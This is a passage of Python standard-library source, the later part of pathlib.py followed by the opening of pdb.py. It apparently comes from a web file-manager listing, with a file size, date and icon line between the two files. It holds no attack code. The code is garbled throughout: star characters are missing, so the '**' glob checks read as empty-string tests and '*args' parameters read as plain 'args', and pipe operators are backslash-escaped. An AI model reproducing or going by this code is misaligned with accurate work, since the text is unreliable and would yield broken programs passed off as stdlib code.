symlink(a, b, target_is_directory): return os.symlink(a, b) utime = os.utime # Helper for resolve() def readlink(self, path): return os.readlink(path) _normal_accessor = _NormalAccessor() # # Globbing helpers # def _make_selector(pattern_parts, flavour): pat = pattern_parts[0] child_parts = pattern_parts[1:] if pat == '': cls = _RecursiveWildcardSelector elif '' in pat: raise ValueError("Invalid pattern: '*' can only be an entire path component") elif _is_wildcard_pattern(pat): cls = _WildcardSelector else: cls = _PreciseSelector return cls(pat, child_parts, flavour) if hasattr(functools, "lru_cache"): _make_selector = functools.lru_cache()(_make_selector) class _Selector: """A selector matches a specific glob pattern part against the children of a given path.""" def __init__(self, child_parts, flavour): self.child_parts = child_parts if child_parts: self.successor = _make_selector(child_parts, flavour) self.dironly = True else: self.successor = _TerminatingSelector() self.dironly = False def select_from(self, parent_path): """Iterate over all child paths of `parent_path` matched by this selector. This can contain parent_path itself.""" path_cls = type(parent_path) is_dir = path_cls.is_dir exists = path_cls.exists scandir = parent_path._accessor.scandir if not is_dir(parent_path): return iter([]) return self._select_from(parent_path, is_dir, exists, scandir) class _TerminatingSelector: def _select_from(self, parent_path, is_dir, exists, scandir): yield parent_path class _PreciseSelector(_Selector): def __init__(self, name, child_parts, flavour): self.name = name _Selector.__init__(self, child_parts, flavour) def _select_from(self, parent_path, is_dir, exists, scandir): try: path = parent_path._make_child_relpath(self.name) if (is_dir if self.dironly else exists)(path): for p in self.successor._select_from(path, is_dir, exists, scandir): yield p except PermissionError: return class _WildcardSelector(_Selector): def __init__(self, pat, child_parts, flavour): self.match = flavour.compile_pattern(pat) _Selector.__init__(self, child_parts, flavour) def _select_from(self, parent_path, is_dir, exists, scandir): try: with scandir(parent_path) as scandir_it: entries = list(scandir_it) for entry in entries: if self.dironly: try: # "entry.is_dir()" can raise PermissionError # in some cases (see bpo-38894), which is not # among the errors ignored by _ignore_error() if not entry.is_dir(): continue except OSError as e: if not _ignore_error(e): raise continue name = entry.name if self.match(name): path = parent_path._make_child_relpath(name) for p in self.successor._select_from(path, is_dir, exists, scandir): yield p except PermissionError: return class _RecursiveWildcardSelector(_Selector): def __init__(self, pat, child_parts, flavour): _Selector.__init__(self, child_parts, flavour) def _iterate_directories(self, parent_path, is_dir, scandir): yield parent_path try: with scandir(parent_path) as scandir_it: entries = list(scandir_it) for entry in entries: entry_is_dir = False try: entry_is_dir = entry.is_dir() except OSError as e: if not _ignore_error(e): raise if entry_is_dir and not entry.is_symlink(): path = parent_path._make_child_relpath(entry.name) for p in self._iterate_directories(path, is_dir, scandir): yield p except PermissionError: return def _select_from(self, parent_path, is_dir, exists, scandir): try: yielded = set() try: successor_select = self.successor._select_from for starting_point in self._iterate_directories(parent_path, is_dir, scandir): for p in successor_select(starting_point, is_dir, exists, scandir): if p not in yielded: yield p yielded.add(p) finally: yielded.clear() except PermissionError: return # # Public API # class _PathParents(Sequence): """This object provides sequence-like access to the logical ancestors of a path. Don't try to construct it yourself.""" __slots__ = ('_pathcls', '_drv', '_root', '_parts') def __init__(self, path): # We don't store the instance to avoid reference cycles self._pathcls = type(path) self._drv = path._drv self._root = path._root self._parts = path._parts def __len__(self): if self._drv or self._root: return len(self._parts) - 1 else: return len(self._parts) def __getitem__(self, idx): if idx < 0 or idx >= len(self): raise IndexError(idx) return self._pathcls._from_parsed_parts(self._drv, self._root, self._parts[:-idx - 1]) def __repr__(self): return "<{}.parents>".format(self._pathcls.__name__) class PurePath(object): """Base class for manipulating paths without I/O. PurePath represents a filesystem path and offers operations which don't imply any actual filesystem I/O. Depending on your system, instantiating a PurePath will return either a PurePosixPath or a PureWindowsPath object. You can also instantiate either of these classes directly, regardless of your system. """ __slots__ = ( '_drv', '_root', '_parts', '_str', '_hash', '_pparts', '_cached_cparts', ) def __new__(cls, args): """Construct a PurePath from one or several strings and or existing PurePath objects. The strings and path objects are combined so as to yield a canonicalized path, which is incorporated into the new PurePath object. """ if cls is PurePath: cls = PureWindowsPath if os.name == 'nt' else PurePosixPath return cls._from_parts(args) def __reduce__(self): # Using the parts tuple helps share interned path parts # when pickling related paths. return (self.__class__, tuple(self._parts)) @classmethod def _parse_args(cls, args): # This is useful when you don't want to create an instance, just # canonicalize some constructor arguments. parts = [] for a in args: if isinstance(a, PurePath): parts += a._parts else: a = os.fspath(a) if isinstance(a, str): # Force-cast str subclasses to str (issue #21127) parts.append(str(a)) else: raise TypeError( "argument should be a str object or an os.PathLike " "object returning str, not %r" % type(a)) return cls._flavour.parse_parts(parts) @classmethod def _from_parts(cls, args, init=True): # We need to call _parse_args on the instance, so as to get the # right flavour. self = object.__new__(cls) drv, root, parts = self._parse_args(args) self._drv = drv self._root = root self._parts = parts if init: self._init() return self @classmethod def _from_parsed_parts(cls, drv, root, parts, init=True): self = object.__new__(cls) self._drv = drv self._root = root self._parts = parts if init: self._init() return self @classmethod def _format_parsed_parts(cls, drv, root, parts): if drv or root: return drv + root + cls._flavour.join(parts[1:]) else: return cls._flavour.join(parts) def _init(self): # Overridden in concrete Path pass def _make_child(self, args): drv, root, parts = self._parse_args(args) drv, root, parts = self._flavour.join_parsed_parts( self._drv, self._root, self._parts, drv, root, parts) return self._from_parsed_parts(drv, root, parts) def __str__(self): """Return the string representation of the path, suitable for passing to system calls.""" try: return self._str except AttributeError: self._str = self._format_parsed_parts(self._drv, self._root, self._parts) or '.' return self._str def __fspath__(self): return str(self) def as_posix(self): """Return the string representation of the path with forward (/) slashes.""" f = self._flavour return str(self).replace(f.sep, '/') def __bytes__(self): """Return the bytes representation of the path. This is only recommended to use under Unix.""" return os.fsencode(self) def __repr__(self): return "{}({!r})".format(self.__class__.__name__, self.as_posix()) def as_uri(self): """Return the path as a 'file' URI.""" if not self.is_absolute(): raise ValueError("relative path can't be expressed as a file URI") return self._flavour.make_uri(self) @property def _cparts(self): # Cached casefolded parts, for hashing and comparison try: return self._cached_cparts except AttributeError: self._cached_cparts = self._flavour.casefold_parts(self._parts) return self._cached_cparts def __eq__(self, other): if not isinstance(other, PurePath): return NotImplemented return self._cparts == other._cparts and self._flavour is other._flavour def __hash__(self): try: return self._hash except AttributeError: self._hash = hash(tuple(self._cparts)) return self._hash def __lt__(self, other): if not isinstance(other, PurePath) or self._flavour is not other._flavour: return NotImplemented return self._cparts < other._cparts def __le__(self, other): if not isinstance(other, PurePath) or self._flavour is not other._flavour: return NotImplemented return self._cparts <= other._cparts def __gt__(self, other): if not isinstance(other, PurePath) or self._flavour is not other._flavour: return NotImplemented return self._cparts > other._cparts def __ge__(self, other): if not isinstance(other, PurePath) or self._flavour is not other._flavour: return NotImplemented return self._cparts >= other._cparts drive = property(attrgetter('_drv'), doc="""The drive prefix (letter or UNC path), if any.""") root = property(attrgetter('_root'), doc="""The root of the path, if any.""") @property def anchor(self): """The concatenation of the drive and root, or ''.""" anchor = self._drv + self._root return anchor @property def name(self): """The final path component, if any.""" parts = self._parts if len(parts) == (1 if (self._drv or self._root) else 0): return '' return parts[-1] @property def suffix(self): """ The final component's last suffix, if any. This includes the leading period. For example: '.txt' """ name = self.name i = name.rfind('.') if 0 < i < len(name) - 1: return name[i:] else: return '' @property def suffixes(self): """ A list of the final component's suffixes, if any. These include the leading periods. For example: ['.tar', '.gz'] """ name = self.name if name.endswith('.'): return [] name = name.lstrip('.') return ['.' + suffix for suffix in name.split('.')[1:]] @property def stem(self): """The final path component, minus its last suffix.""" name = self.name i = name.rfind('.') if 0 < i < len(name) - 1: return name[:i] else: return name def with_name(self, name): """Return a new path with the file name changed.""" if not self.name: raise ValueError("%r has an empty name" % (self,)) drv, root, parts = self._flavour.parse_parts((name,)) if (not name or name[-1] in [self._flavour.sep, self._flavour.altsep] or drv or root or len(parts) != 1): raise ValueError("Invalid name %r" % (name)) return self._from_parsed_parts(self._drv, self._root, self._parts[:-1] + [name]) def with_suffix(self, suffix): """Return a new path with the file suffix changed. If the path has no suffix, add given suffix. If the given suffix is an empty string, remove the suffix from the path. """ f = self._flavour if f.sep in suffix or f.altsep and f.altsep in suffix: raise ValueError("Invalid suffix %r" % (suffix,)) if suffix and not suffix.startswith('.') or suffix == '.': raise ValueError("Invalid suffix %r" % (suffix)) name = self.name if not name: raise ValueError("%r has an empty name" % (self,)) old_suffix = self.suffix if not old_suffix: name = name + suffix else: name = name[:-len(old_suffix)] + suffix return self._from_parsed_parts(self._drv, self._root, self._parts[:-1] + [name]) def relative_to(self, other): """Return the relative path to another path identified by the passed arguments. If the operation is not possible (because this is not a subpath of the other path), raise ValueError. """ # For the purpose of this method, drive and root are considered # separate parts, i.e.: # Path('c:/').relative_to('c:') gives Path('/') # Path('c:/').relative_to('/') raise ValueError if not other: raise TypeError("need at least one argument") parts = self._parts drv = self._drv root = self._root if root: abs_parts = [drv, root] + parts[1:] else: abs_parts = parts to_drv, to_root, to_parts = self._parse_args(other) if to_root: to_abs_parts = [to_drv, to_root] + to_parts[1:] else: to_abs_parts = to_parts n = len(to_abs_parts) cf = self._flavour.casefold_parts if (root or drv) if n == 0 else cf(abs_parts[:n]) != cf(to_abs_parts): formatted = self._format_parsed_parts(to_drv, to_root, to_parts) raise ValueError("{!r} does not start with {!r}" .format(str(self), str(formatted))) return self._from_parsed_parts('', root if n == 1 else '', abs_parts[n:]) @property def parts(self): """An object providing sequence-like access to the components in the filesystem path.""" # We cache the tuple to avoid building a new one each time .parts # is accessed. XXX is this necessary? try: return self._pparts except AttributeError: self._pparts = tuple(self._parts) return self._pparts def joinpath(self, args): """Combine this path with one or several arguments, and return a new path representing either a subpath (if all arguments are relative paths) or a totally different path (if one of the arguments is anchored). """ return self._make_child(args) def __truediv__(self, key): return self._make_child((key,)) def __rtruediv__(self, key): return self._from_parts([key] + self._parts) @property def parent(self): """The logical parent of the path.""" drv = self._drv root = self._root parts = self._parts if len(parts) == 1 and (drv or root): return self return self._from_parsed_parts(drv, root, parts[:-1]) @property def parents(self): """A sequence of this path's logical parents.""" return _PathParents(self) def is_absolute(self): """True if the path is absolute (has both a root and, if applicable, a drive).""" if not self._root: return False return not self._flavour.has_drv or bool(self._drv) def is_reserved(self): """Return True if the path contains one of the special names reserved by the system, if any.""" return self._flavour.is_reserved(self._parts) def match(self, path_pattern): """ Return True if this path matches the given pattern. """ cf = self._flavour.casefold path_pattern = cf(path_pattern) drv, root, pat_parts = self._flavour.parse_parts((path_pattern,)) if not pat_parts: raise ValueError("empty pattern") if drv and drv != cf(self._drv): return False if root and root != cf(self._root): return False parts = self._cparts if drv or root: if len(pat_parts) != len(parts): return False pat_parts = pat_parts[1:] elif len(pat_parts) > len(parts): return False for part, pat in zip(reversed(parts), reversed(pat_parts)): if not fnmatch.fnmatchcase(part, pat): return False return True # Can't subclass os.PathLike from PurePath and keep the constructor # optimizations in PurePath._parse_args(). os.PathLike.register(PurePath) class PurePosixPath(PurePath): """PurePath subclass for non-Windows systems. On a POSIX system, instantiating a PurePath should return this object. However, you can also instantiate it directly on any system. """ _flavour = _posix_flavour __slots__ = () class PureWindowsPath(PurePath): """PurePath subclass for Windows systems. On a Windows system, instantiating a PurePath should return this object. However, you can also instantiate it directly on any system. """ _flavour = _windows_flavour __slots__ = () # Filesystem-accessing classes class Path(PurePath): """PurePath subclass that can make system calls. Path represents a filesystem path but unlike PurePath, also offers methods to do system calls on path objects. Depending on your system, instantiating a Path will return either a PosixPath or a WindowsPath object. You can also instantiate a PosixPath or WindowsPath directly, but cannot instantiate a WindowsPath on a POSIX system or vice versa. """ __slots__ = ( '_accessor', '_closed', ) def __new__(cls, args, kwargs): if cls is Path: cls = WindowsPath if os.name == 'nt' else PosixPath self = cls._from_parts(args, init=False) if not self._flavour.is_supported: raise NotImplementedError("cannot instantiate %r on your system" % (cls.__name__,)) self._init() return self def _init(self, # Private non-constructor arguments template=None, ): self._closed = False if template is not None: self._accessor = template._accessor else: self._accessor = _normal_accessor def _make_child_relpath(self, part): # This is an optimization used for dir walking. `part` must be # a single part relative to this path. parts = self._parts + [part] return self._from_parsed_parts(self._drv, self._root, parts) def __enter__(self): if self._closed: self._raise_closed() return self def __exit__(self, t, v, tb): self._closed = True def _raise_closed(self): raise ValueError("I/O operation on closed path") def _opener(self, name, flags, mode=0o666): # A stub for the opener argument to built-in open() return self._accessor.open(self, flags, mode) def _raw_open(self, flags, mode=0o777): """ Open the file pointed by this path and return a file descriptor, as os.open() does. """ if self._closed: self._raise_closed() return self._accessor.open(self, flags, mode) # Public API @classmethod def cwd(cls): """Return a new path pointing to the current working directory (as returned by os.getcwd()). """ return cls(os.getcwd()) @classmethod def home(cls): """Return a new path pointing to the user's home directory (as returned by os.path.expanduser('~')). """ return cls(cls()._flavour.gethomedir(None)) def samefile(self, other_path): """Return whether other_path is the same or not as this file (as returned by os.path.samefile()). """ st = self.stat() try: other_st = other_path.stat() except AttributeError: other_st = os.stat(other_path) return os.path.samestat(st, other_st) def iterdir(self): """Iterate over the files in this directory. Does not yield any result for the special paths '.' and '..'. """ if self._closed: self._raise_closed() for name in self._accessor.listdir(self): if name in {'.', '..'}: # Yielding a path object for these makes little sense continue yield self._make_child_relpath(name) if self._closed: self._raise_closed() def glob(self, pattern): """Iterate over this subtree and yield all existing files (of any kind, including directories) matching the given relative pattern. """ if not pattern: raise ValueError("Unacceptable pattern: {!r}".format(pattern)) drv, root, pattern_parts = self._flavour.parse_parts((pattern,)) if drv or root: raise NotImplementedError("Non-relative patterns are unsupported") selector = _make_selector(tuple(pattern_parts), self._flavour) for p in selector.select_from(self): yield p def rglob(self, pattern): """Recursively yield all existing files (of any kind, including directories) matching the given relative pattern, anywhere in this subtree. """ drv, root, pattern_parts = self._flavour.parse_parts((pattern,)) if drv or root: raise NotImplementedError("Non-relative patterns are unsupported") selector = _make_selector(("*",) + tuple(pattern_parts), self._flavour) for p in selector.select_from(self): yield p def absolute(self): """Return an absolute version of this path. This function works even if the path doesn't point to anything. No normalization is done, i.e. all '.' and '..' will be kept along. Use resolve() to get the canonical path to a file. """ # XXX untested yet! if self._closed: self._raise_closed() if self.is_absolute(): return self # FIXME this must defer to the specific flavour (and, under Windows, # use nt._getfullpathname()) obj = self._from_parts([os.getcwd()] + self._parts, init=False) obj._init(template=self) return obj def resolve(self, strict=False): """ Make the path absolute, resolving all symlinks on the way and also normalizing it (for example turning slashes into backslashes under Windows). """ if self._closed: self._raise_closed() s = self._flavour.resolve(self, strict=strict) if s is None: # No symlink resolution => for consistency, raise an error if # the path doesn't exist or is forbidden self.stat() s = str(self.absolute()) # Now we have no symlinks in the path, it's safe to normalize it. normed = self._flavour.pathmod.normpath(s) obj = self._from_parts((normed,), init=False) obj._init(template=self) return obj def stat(self): """ Return the result of the stat() system call on this path, like os.stat() does. """ return self._accessor.stat(self) def owner(self): """ Return the login name of the file owner. """ import pwd return pwd.getpwuid(self.stat().st_uid).pw_name def group(self): """ Return the group name of the file gid. """ import grp return grp.getgrgid(self.stat().st_gid).gr_name def open(self, mode='r', buffering=-1, encoding=None, errors=None, newline=None): """ Open the file pointed by this path and return a file object, as the built-in open() function does. """ if self._closed: self._raise_closed() return io.open(self, mode, buffering, encoding, errors, newline, opener=self._opener) def read_bytes(self): """ Open the file in bytes mode, read it, and close the file. """ with self.open(mode='rb') as f: return f.read() def read_text(self, encoding=None, errors=None): """ Open the file in text mode, read it, and close the file. """ with self.open(mode='r', encoding=encoding, errors=errors) as f: return f.read() def write_bytes(self, data): """ Open the file in bytes mode, write to it, and close the file. """ # type-check for the buffer interface before truncating the file view = memoryview(data) with self.open(mode='wb') as f: return f.write(view) def write_text(self, data, encoding=None, errors=None): """ Open the file in text mode, write to it, and close the file. """ if not isinstance(data, str): raise TypeError('data must be str, not %s' % data.__class__.__name__) with self.open(mode='w', encoding=encoding, errors=errors) as f: return f.write(data) def touch(self, mode=0o666, exist_ok=True): """ Create this file with the given access mode, if it doesn't exist. """ if self._closed: self._raise_closed() if exist_ok: # First try to bump modification time # Implementation note: GNU touch uses the UTIME_NOW option of # the utimensat() / futimens() functions. try: self._accessor.utime(self, None) except OSError: # Avoid exception chaining pass else: return flags = os.O_CREAT \| os.O_WRONLY if not exist_ok: flags \|= os.O_EXCL fd = self._raw_open(flags, mode) os.close(fd) def mkdir(self, mode=0o777, parents=False, exist_ok=False): """ Create a new directory at this given path. """ if self._closed: self._raise_closed() try: self._accessor.mkdir(self, mode) except FileNotFoundError: if not parents or self.parent == self: raise self.parent.mkdir(parents=True, exist_ok=True) self.mkdir(mode, parents=False, exist_ok=exist_ok) except OSError: # Cannot rely on checking for EEXIST, since the operating system # could give priority to other errors like EACCES or EROFS if not exist_ok or not self.is_dir(): raise def chmod(self, mode): """ Change the permissions of the path, like os.chmod(). """ if self._closed: self._raise_closed() self._accessor.chmod(self, mode) def lchmod(self, mode): """ Like chmod(), except if the path points to a symlink, the symlink's permissions are changed, rather than its target's. """ if self._closed: self._raise_closed() self._accessor.lchmod(self, mode) def unlink(self): """ Remove this file or link. If the path is a directory, use rmdir() instead. """ if self._closed: self._raise_closed() self._accessor.unlink(self) def rmdir(self): """ Remove this directory. The directory must be empty. """ if self._closed: self._raise_closed() self._accessor.rmdir(self) def lstat(self): """ Like stat(), except if the path points to a symlink, the symlink's status information is returned, rather than its target's. """ if self._closed: self._raise_closed() return self._accessor.lstat(self) def rename(self, target): """ Rename this path to the given path. """ if self._closed: self._raise_closed() self._accessor.rename(self, target) def replace(self, target): """ Rename this path to the given path, clobbering the existing destination if it exists. """ if self._closed: self._raise_closed() self._accessor.replace(self, target) def symlink_to(self, target, target_is_directory=False): """ Make this path a symlink pointing to the given path. Note the order of arguments (self, target) is the reverse of os.symlink's. """ if self._closed: self._raise_closed() self._accessor.symlink(target, self, target_is_directory) # Convenience functions for querying the stat results def exists(self): """ Whether this path exists. """ try: self.stat() except OSError as e: if not _ignore_error(e): raise return False return True def is_dir(self): """ Whether this path is a directory. """ try: return S_ISDIR(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def is_file(self): """ Whether this path is a regular file (also True for symlinks pointing to regular files). """ try: return S_ISREG(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def is_mount(self): """ Check if this path is a POSIX mount point """ # Need to exist and be a dir if not self.exists() or not self.is_dir(): return False parent = Path(self.parent) try: parent_dev = parent.stat().st_dev except OSError: return False dev = self.stat().st_dev if dev != parent_dev: return True ino = self.stat().st_ino parent_ino = parent.stat().st_ino return ino == parent_ino def is_symlink(self): """ Whether this path is a symbolic link. """ try: return S_ISLNK(self.lstat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist return False def is_block_device(self): """ Whether this path is a block device. """ try: return S_ISBLK(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def is_char_device(self): """ Whether this path is a character device. """ try: return S_ISCHR(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def is_fifo(self): """ Whether this path is a FIFO. """ try: return S_ISFIFO(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def is_socket(self): """ Whether this path is a socket. """ try: return S_ISSOCK(self.stat().st_mode) except OSError as e: if not _ignore_error(e): raise # Path doesn't exist or is a broken symlink # (see https://bitbucket.org/pitrou/pathlib/issue/12/) return False def expanduser(self): """ Return a new path with expanded ~ and ~user constructs (as returned by os.path.expanduser) """ if (not (self._drv or self._root) and self._parts and self._parts[0][:1] == '~'): homedir = self._flavour.gethomedir(self._parts[0][1:]) return self._from_parts([homedir] + self._parts[1:]) return self class PosixPath(Path, PurePosixPath): """Path subclass for non-Windows systems. On a POSIX system, instantiating a Path should return this object. """ __slots__ = () class WindowsPath(Path, PureWindowsPath): """Path subclass for Windows systems. On a Windows system, instantiating a Path should return this object. """ __slots__ = () def owner(self): raise NotImplementedError("Path.owner() is unsupported on this system") def group(self): raise NotImplementedError("Path.group() is unsupported on this system") def is_mount(self): raise NotImplementedError("Path.is_mount() is unsupported on this system")	49.15 KB	2024-04-17 17:55
📄 pdb.py #! /opt/alt/python37/bin/python3.7 """ The Python Debugger Pdb ======================= To use the debugger in its simplest form: >>> import pdb >>> pdb.run('<a statement>') The debugger's prompt is '(Pdb) '. This will stop in the first function call in <a statement>. Alternatively, if a statement terminated with an unhandled exception, you can use pdb's post-mortem facility to inspect the contents of the traceback: >>> <a statement> <exception traceback> >>> import pdb >>> pdb.pm() The commands recognized by the debugger are listed in the next section. Most can be abbreviated as indicated; e.g., h(elp) means that 'help' can be typed as 'h' or 'help' (but not as 'he' or 'hel', nor as 'H' or 'Help' or 'HELP'). Optional arguments are enclosed in square brackets. Alternatives in the command syntax are separated by a vertical bar (\|). A blank line repeats the previous command literally, except for 'list', where it lists the next 11 lines. Commands that the debugger doesn't recognize are assumed to be Python statements and are executed in the context of the program being debugged. Python statements can also be prefixed with an exclamation point ('!'). This is a powerful way to inspect the program being debugged; it is even possible to change variables or call functions. When an exception occurs in such a statement, the exception name is printed but the debugger's state is not changed. The debugger supports aliases, which can save typing. And aliases can have parameters (see the alias help entry) which allows one a certain level of adaptability to the context under examination. Multiple commands may be entered on a single line, separated by the pair ';;'. No intelligence is applied to separating the commands; the input is split at the first ';;', even if it is in the middle of a quoted string. If a file ".pdbrc" exists in your home directory or in the current directory, it is read in and executed as if it had been typed at the debugger prompt. This is particularly useful for aliases. If both files exist, the one in the home directory is read first and aliases defined there can be overridden by the local file. This behavior can be disabled by passing the "readrc=False" argument to the Pdb constructor. Aside from aliases, the debugger is not directly programmable; but it is implemented as a class from which you can derive your own debugger class, which you can make as fancy as you like. Debugger commands ================= """ # NOTE: the actual command documentation is collected from docstrings of the # commands and is appended to __doc__ after the class has been defined. import os import re import sys import cmd import bdb import dis import code import glob import pprint import signal import inspect import traceback import linecache class Restart(Exception): """Causes a debugger to be restarted for the debugged python program.""" pass __all__ = ["run", "pm", "Pdb", "runeval", "runctx", "runcall", "set_trace", "post_mortem", "help"] def find_function(funcname, filename): cre = re.compile(r'def\s+%s\s[(]' % re.escape(funcname)) try: fp = open(filename) except OSError: return None # consumer of this info expects the first line to be 1 with fp: for lineno, line in enumerate(fp, start=1): if cre.match(line): return funcname, filename, lineno return None def getsourcelines(obj): lines, lineno = inspect.findsource(obj) if inspect.isframe(obj) and obj.f_globals is obj.f_locals: # must be a module frame: do not try to cut a block out of it return lines, 1 elif inspect.ismodule(obj): return lines, 1 return inspect.getblock(lines[lineno:]), lineno+1 def lasti2lineno(code, lasti): linestarts = list(dis.findlinestarts(code)) linestarts.reverse() for i, lineno in linestarts: if lasti >= i: return lineno return 0 class _rstr(str): """String that doesn't quote its repr.""" def __repr__(self): return self # Interaction prompt line will separate file and call info from code # text using value of line_prefix string. A newline and arrow may # be to your liking. You can set it once pdb is imported using the # command "pdb.line_prefix = '\n% '". # line_prefix = ': ' # Use this to get the old situation back line_prefix = '\n-> ' # Probably a better default class Pdb(bdb.Bdb, cmd.Cmd): _previous_sigint_handler = None def __init__(self, completekey='tab', stdin=None, stdout=None, skip=None, nosigint=False, readrc=True): bdb.Bdb.__init__(self, skip=skip) cmd.Cmd.__init__(self, completekey, stdin, stdout) if stdout: self.use_rawinput = 0 self.prompt = '(Pdb) ' self.aliases = {} self.displaying = {} self.mainpyfile = '' self._wait_for_mainpyfile = False self.tb_lineno = {} # Try to load readline if it exists try: import readline # remove some common file name delimiters readline.set_completer_delims(' \t\n`@#$%^&()=+[{]}\\\|;:\'",<>?') except ImportError: pass self.allow_kbdint = False self.nosigint = nosigint # Read ~/.pdbrc and ./.pdbrc self.rcLines = [] if readrc: try: with open(os.path.expanduser('~/.pdbrc')) as rcFile: self.rcLines.extend(rcFile) except OSError: pass try: with open(".pdbrc") as rcFile: self.rcLines.extend(rcFile) except OSError: pass self.commands = {} # associates a command list to breakpoint numbers self.commands_doprompt = {} # for each bp num, tells if the prompt # must be disp. after execing the cmd list self.commands_silent = {} # for each bp num, tells if the stack trace # must be disp. after execing the cmd list self.commands_defining = False # True while in the process of defining # a command list self.commands_bnum = None # The breakpoint number for which we are # defining a list def sigint_handler(self, signum, frame): if self.allow_kbdint: raise KeyboardInterrupt self.message("\nProgram interrupted. (Use 'cont' to resume).") self.set_step() self.set_trace(frame) def reset(self): bdb.Bdb.reset(self) self.forget() def forget(self): self.lineno = None self.stack = [] self.curindex = 0 self.curframe = None self.tb_lineno.clear() def setup(self, f, tb): self.forget() self.stack, self.curindex = self.get_stack(f, tb) while tb: # when setting up post-mortem debugging with a traceback, save all # the original line numbers to be displayed along the current line # numbers (which can be different, e.g. due to finally clauses) lineno = lasti2lineno(tb.tb_frame.f_code, tb.tb_lasti) self.tb_lineno[tb.tb_frame] = lineno tb = tb.tb_next self.curframe = self.stack[self.curindex][0] # The f_locals dictionary is updated from the actual frame # locals whenever the .f_locals accessor is called, so we # cache it here to ensure that modifications are not overwritten. self.curframe_locals = self.curframe.f_locals return self.execRcLines() # Can be executed earlier than 'setup' if desired def execRcLines(self): if not self.rcLines: return # local copy because of recursion rcLines = self.rcLines rcLines.reverse() # execute every line only once self.rcLines = [] while rcLines: line = rcLines.pop().strip() if line and line[0] != '#': if self.onecmd(line): # if onecmd returns True, the command wants to exit # from the interaction, save leftover rc lines # to execute before next interaction self.rcLines += reversed(rcLines) return True # Override Bdb methods def user_call(self, frame, argument_list): """This method is called when there is the remote possibility that we ever need to stop in this function.""" if self._wait_for_mainpyfile: return if self.stop_here(frame): self.message('--Call--') self.interaction(frame, None) def user_line(self, frame): """This function is called when we stop or break at this line.""" if self._wait_for_mainpyfile: if (self.mainpyfile != self.canonic(frame.f_code.co_filename) or frame.f_lineno <= 0): return self._wait_for_mainpyfile = False if self.bp_commands(frame): self.interaction(frame, None) def bp_commands(self, frame): """Call every command that was set for the current active breakpoint (if there is one). Returns True if the normal interaction function must be called, False otherwise.""" # self.currentbp is set in bdb in Bdb.break_here if a breakpoint was hit if getattr(self, "currentbp", False) and \ self.currentbp in self.commands: currentbp = self.currentbp self.currentbp = 0 lastcmd_back = self.lastcmd self.setup(frame, None) for line in self.commands[currentbp]: self.onecmd(line) self.lastcmd = lastcmd_back if not self.commands_silent[currentbp]: self.print_stack_entry(self.stack[self.curindex]) if self.commands_doprompt[currentbp]: self._cmdloop() self.forget() return return 1 def user_return(self, frame, return_value): """This function is called when a return trap is set here.""" if self._wait_for_mainpyfile: return frame.f_locals['__return__'] = return_value self.message('--Return--') self.interaction(frame, None) def user_exception(self, frame, exc_info): """This function is called if an exception occurs, but only if we are to stop at or just below this level.""" if self._wait_for_mainpyfile: return exc_type, exc_value, exc_traceback = exc_info frame.f_locals['__exception__'] = exc_type, exc_value # An 'Internal StopIteration' exception is an exception debug event # issued by the interpreter when handling a subgenerator run with # 'yield from' or a generator controlled by a for loop. No exception has # actually occurred in this case. The debugger uses this debug event to # stop when the debuggee is returning from such generators. prefix = 'Internal ' if (not exc_traceback and exc_type is StopIteration) else '' self.message('%s%s' % (prefix, traceback.format_exception_only(exc_type, exc_value)[-1].strip())) self.interaction(frame, exc_traceback) # General interaction function def _cmdloop(self): while True: try: # keyboard interrupts allow for an easy way to cancel # the current command, so allow them during interactive input self.allow_kbdint = True self.cmdloop() self.allow_kbdint = False break except KeyboardInterrupt: self.message('--KeyboardInterrupt--') # Called before loop, handles display expressions def preloop(self): displaying = self.displaying.get(self.curframe) if displaying: for expr, oldvalue in displaying.items(): newvalue = self._getval_except(expr) # check for identity first; this prevents custom __eq__ to # be called at every loop, and also prevents instances whose # fields are changed to be displayed if newvalue is not oldvalue and newvalue != oldvalue: displaying[expr] = newvalue self.message('display %s: %r [old: %r]' % (expr, newvalue, oldvalue)) def interaction(self, frame, traceback): # Restore the previous signal handler at the Pdb prompt. if Pdb._previous_sigint_handler: signal.signal(signal.SIGINT, Pdb._previous_sigint_handler) Pdb._previous_sigint_handler = None if self.setup(frame, traceback): # no interaction desired at this time (happens if .pdbrc contains # a command like "continue") self.forget() return self.print_stack_entry(self.stack[self.curindex]) self._cmdloop() self.forget() def displayhook(self, obj): """Custom displayhook for the exec in default(), which prevents assignment of the _ variable in the builtins. """ # reproduce the behavior of the standard displayhook, not printing None if obj is not None: self.message(repr(obj)) def default(self, line): if line[:1] == '!': line = line[1:] locals = self.curframe_locals globals = self.curframe.f_globals try: code = compile(line + '\n', '<stdin>', 'single') save_stdout = sys.stdout save_stdin = sys.stdin save_displayhook = sys.displayhook try: sys.stdin = self.stdin sys.stdout = self.stdout sys.displayhook = self.displayhook exec(code, globals, locals) finally: sys.stdout = save_stdout sys.stdin = save_stdin sys.displayhook = save_displayhook except: exc_info = sys.exc_info()[:2] self.error(traceback.format_exception_only(exc_info)[-1].strip()) def precmd(self, line): """Handle alias expansion and ';;' separator.""" if not line.strip(): return line args = line.split() while args[0] in self.aliases: line = self.aliases[args[0]] ii = 1 for tmpArg in args[1:]: line = line.replace("%" + str(ii), tmpArg) ii += 1 line = line.replace("%", ' '.join(args[1:])) args = line.split() # split into ';;' separated commands # unless it's an alias command if args[0] != 'alias': marker = line.find(';;') if marker >= 0: # queue up everything after marker next = line[marker+2:].lstrip() self.cmdqueue.append(next) line = line[:marker].rstrip() return line def onecmd(self, line): """Interpret the argument as though it had been typed in response to the prompt. Checks whether this line is typed at the normal prompt or in a breakpoint command list definition. """ if not self.commands_defining: return cmd.Cmd.onecmd(self, line) else: return self.handle_command_def(line) def handle_command_def(self, line): """Handles one command line during command list definition.""" cmd, arg, line = 